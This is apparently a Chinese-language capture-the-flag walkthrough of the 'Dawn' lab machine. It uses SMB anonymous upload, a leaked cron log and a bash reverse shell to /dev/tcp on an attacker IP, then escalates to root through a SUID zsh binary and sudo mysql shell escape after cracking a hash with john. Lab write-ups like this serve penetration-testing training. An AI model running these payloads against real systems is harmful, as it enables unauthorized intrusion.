

# 信息收集

## 主机发现

## 端口扫描

## 服务识别

```
80/tcp open  http          Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
|_mysql-info:
|_ Protocol: 10
|_ Version: 5.5.5-10.3.15-MariaDB-1
|_ Thread ID: 16
|_ Capabilities flags: 63486
|_ Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, IgnoreSigpipes,
InteractiveClient, SupportsLoadDataLocal, ODBCClient, SupportsTransactions, IgnoreSpaceBeforePar
enthesis, Speaks41ProtocolNew, LongColumnFlag, SupportsCompression, FoundRows, DontAllowDatabase
TableColumn, SupportsMultipleStatements, SupportsAuthPlugins, SupportsMultipleResults
|_ Status: Autocommit
|_ Salt: ;!3}>Z-mb"!zj#kv.}QY
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: DAWN
```

```
smb-os-discovery:
  OS: Windows 6.1 (Samba 4.9.5-Debian)
  Computer name: dawn
  NetBIOS computer name: DAWN\x00
  Domain name: dawn
  FQDN: dawn.dawn
  System time: 2022-03-19T11:33:52-04:00
```

```
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
|_smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled but not required
|_smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: DAWN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_Names:
|_ DAWN<00> Flags: <unique><active>
|_ DAWN<03> Flags: <unique><active>
|_ DAWN<20> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
|_ WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
|_smb2-time:
|_ date: 2022-03-19T15:33:52
|_ start_date: N/A
```

匿名登录

## 子域名发现

## 敏感目录遍历

```
gobuster dir -u http://192.168.56.127 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 200 -x php,html,txt,bak,back

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.56.127
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: bak,back,php,html,txt
[+] Timeout: 10s

2022/03/19 11:54:49 Starting gobuster in directory enumeration mode

/logs (Status: 301) [Size: 315] [→ http://192.168.56.127/logs/]
/index.html (Status: 200) [Size: 791]
/cctv (Status: 301) [Size: 315] [→ http://192.168.56.127/cctv/]

2022/03/19 11:56:08 Finished
```

## web信息搜集

## smb信息收集

用linux自带的smb客户端连接目标:

```
smbclient -L \\\\192.168.56.127
```

```
(kali@kali)~$ smbclient -L \\\\192.168.56.127
Enter WORKGROUP\\kali's password:

Sharename      Type            Comment
-----
print$         Disk            Printer Drivers
ITDEPT         Disk            PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEDIATELY.
IPC$           IPC             IPC Service (Samba 4.9.5-Debian)

Reconnecting with SMB1 for workgroup listing.

Server          Comment
-----
Workgroup       Master
```

查看对应的上传下载权限

```
smbclient \\\\192.168.56.127\\ITDEPT
```

```
(kali@kali)~$ smbclient \\\\192.168.56.127\\ITDEPT
Enter WORKGROUP\\kali's password:
Try "help" to get a list of possible commands.
smb: \> help
?
allinfo      cancel       altname      archive      backup
blocksize    chown        close        del          chmod
chown        close        del          deltree      dir
du           echo         exit         get          getfacl
geteas       hardlink     help         history      iosize
lcd          link         lock         lowercase    ls
l            mask         md           mget         mkdir
more         mput         newer        notify       open
posix        posix_encrypt posix_open   posix_mkdir  posix_rmdir
posix_unlink posix_whoami  print       prompt       put
pwd          q            queue       quit         readlink
rd           recurse     reget       rename       reput
rm           rmdir       showacl     setea        setmode
scopy        stat         symlink     tar          tarmode
timeout      translate   unlock      volume       void
wdel         logon       listconnect showconnect  tcon
tdis         tid         utimes      logoff       ..
!

smb: \> cd ..
smb: \> pwd
Current directory is \\\\192.168.56.127\\ITDEPT\\
smb: \> ls
.              D          0   Fri Aug  2 23:23:20 2019
..             D          0   Fri Aug  2 23:21:39 2019

7158264 blocks of size 1024. 0 blocks available
```

```
smb: \>
smb: \> put a.txt
cli_push returned NT_STATUS_DISK_FULL
putting file a.txt as \a.txt (0.1 kb/s) (average 0.1 kb/s)
smb: \>
smb: \> ls
.
..
a.txt
7158264 blocks of size 1024. 0 blocks available
```

有上传权限

## 漏洞发现

## 业务重构

## 威胁建模

## 漏洞利用

## 边界突破

## 任意文件上传

smb可以上传到ITDEPT

## 日志信息泄露

1.logs目录找到日志文件management.log

日志审计:发现有定时任务进行,先赋值权限然后执行

```
552 2022/03/19 23:56:01 [31;1mCMD: UID=0 PID=1326 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/product-control
553 2022/03/19 23:56:01 [31;1mCMD: UID=1000 PID=1325 | /bin/sh -c /home/dawn/ITDEPT/product-control
554 2022/03/19 23:56:01 [31;1mCMD: UID=33 PID=1324 | /bin/sh -c /home/dawn/ITDEPT/web-control
555 2022/03/19 23:56:01 [31;1mCMD: UID=0 PID=1323 | /bin/sh -c chmod 777 /home/dawn/ITDEPT/product-control
```

结合我们之前的smb任意文件上传,那么可以上传一个反弹shell,

```
~/product-control - Mousepad
File Edit Search View Document Help
management(1).log product-control
1 #!/bin/bash
2 /bin/bash -i >& /dev/tcp/192.168.56.128/4444 0>&1
3
```

上传到目标准备好反弹shell接收

## 权限提升

## 1.SUID提权

```
dawn@dawn:~$ find / -type f -perm -u=s -ls 2>/dev/null
find / -type f -perm -u=s -ls 2>/dev/null
162007 36 -rwsr-xr-x 1 root root 35600 Jun 17 2018 /usr/sbin/mount.cifs
143462 52 -rwsr-xr-x 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-help
266373 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
268427 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
146814 428 -rwsr-xr-x 1 root root 436552 Apr 8 2019 /usr/lib/openssh/ssh-keysign
134749 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
134602 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
147964 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
131136 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
163709 156 -rwsr-xr-x 1 root root 157192 Jan 12 2019 /usr/bin/sudo
135083 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
163813 844 -rwsr-xr-x 1 root root 861568 Feb 4 2019 /usr/bin/zsh
131134 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
131132 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
135085 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
131131 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
```

```
dawn@dawn:~$ zsh
zsh
dawn# ls -l
ls -l
total 4
drwxrwxrwx 2 dawn dawn 4096 Mar 19 12:54 ITDEPT
dawn# id
id
uid=1000(dawn) gid=1000(dawn) euid=0(root) groups=1000(dawn),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
dawn#
```

## 2.SUDO+MYSQL提权

查看sudo命令

```
dawn@dawn:/home/ganimesdes$ sudo -l
sudo -l
Matching Defaults entries for dawn on dawn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dawn may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/mysql
dawn@dawn:/home/ganimesdes$
```

查看命令日志

```
dawn@dawn:~$ cat .bash_history
cat .bash_history
echo "$1$b0KpT2ij0.XcGlpjgAup9/"
ls
ls -la
nano .bash_history
echo "$1$b0KpT2ij0.XcGlpjgAup9/"
nano .bash_history
echo "$1$b0KpT2ij0.XcGlpjgAup9/"
sudo -l
su
sudo -l
sudo mysql -u root -p
ls -la
nano .bash_history
exit
sudo -l
exit
ls
./view-product
ls -la
cd /dev/dawn/
ls
echo '#!/bin/bash' > specimen
ls -la
echo '#!/bin/bash' > specimens
exit
id
ls -la
exit
```

## 对哈希进行密码破解

```
(kali㉿kali)-[~]
$ cp /usr/share/wordlists/rockyou.txt.gz .
(kali㉿kali)-[~]
$ gunzip rockyou.txt.gz
(kali㉿kali)-[~]
$ vi hash
(kali㉿kali)-[~]
$ john --wordlist=rockyou.txt hash
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "m
Use the "--format=md5crypt-long" option to force loading these as that type ins
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
onii-chan29 (?)
1g 0:00:00:50 DONE (2022-03-20 00:17) 0.01978g/s 95692p/s 95692c/s 95692C/s on
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
(kali㉿kali)-[~]
$
```

整串密码hash放入

## 提升shell,登录mysql

```
bash: no job control in this shell
dawn@dawn:~$ python -c "import pty;pty.spawn('/bin/bash');"
python -c "import pty;pty.spawn('/bin/bash');"
dawn@dawn:~$
dawn@dawn:~$ ls -l
ls -l
total 8
-rw-r--r-- 1 dawn dawn 6 Mar 20 00:22 a
drwxrwxrwx 2 dawn dawn 4096 Mar 19 12:54 ITDEPT
dawn@dawn:~$ rm a
rm a
dawn@dawn:~$ ls -l
ls -l
total 4
drwxrwxrwx 2 dawn dawn 4096 Mar 19 12:54 ITDEPT
dawn@dawn:~$ sudo mysql -uroot -p
sudo mysql -uroot -p
Enter password: onii-chan29
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 14
Server version: 10.3.15-MariaDB-1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> \! bash
\! bash
root@dawn:/home/dawn#
```

shell提升

bash提升

## 总结

难度:

- 中

目标:

- 获得 Root 权限

攻击方法:

- 主机发现
- 端口扫描
- 信息收集
- SAMBA漏洞
- 任意文件上传
- 日志信息泄漏
- 调度任务
- 提权方法1
- 提权方法2
- 潜在提权方法

+

I